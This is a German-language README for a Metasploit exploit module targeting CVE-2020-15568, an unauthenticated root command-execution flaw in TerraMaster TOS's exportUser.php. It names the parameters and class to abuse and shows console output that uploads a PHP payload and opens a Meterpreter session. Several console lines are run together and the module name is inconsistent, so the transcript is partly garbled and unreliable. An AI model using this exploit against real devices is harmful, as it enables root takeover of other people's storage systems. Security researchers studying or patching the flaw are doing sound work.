
Repository für das CVE-2020-15568 Metasploit-Modul
Repository für das Metasploit-Modul CVE-2020-15568
Eine Schwachstelle durch dynamischen Methodenaufruf in der Datei include/exportUser.php ermöglicht die Ausführung von Remote-Befehlen auf TerraMaster-Geräten mit Root-Rechten. Die anfällige Datei erfordert mehrere HTTP-GET-Parameter, um den Methodenaufruf zu erreichen und diese Schwachstelle auszunutzen. In der ersten Zeile bindet die Anwendung app.php ein, das relevante Kernklassen der TOS-Software automatisch lädt. Die Anwendung entscheidet über die Operation basierend auf dem Wert des GET-Parameters type. Wenn der Wert der Variable type etwas anderes als 1 oder 2 ist, kann der anfällige Code erreicht werden. Der Quellcode von exportUser.php erfordert die HTTP-GET-Parameter cla (Abkürzung für class), func und opt.
Bei der Code-Überprüfung anderer Dateien wurde ebenfalls festgestellt, dass es eine Möglichkeit gibt, dieses Problem mit bereits vorhandenen Klassen in der TOS-Software auszunutzen. Die PHP-Klasse in include/class/application.class.php ist der beste Kandidat, um Befehle auf Geräten auszuführen, die TOS-Software betreiben. Da exportUser.php keine Authentifizierungskontrollen hat, ist es einem nicht authentifizierten Angreifer möglich, Codeausführung zu erreichen.
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27 auscheck[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >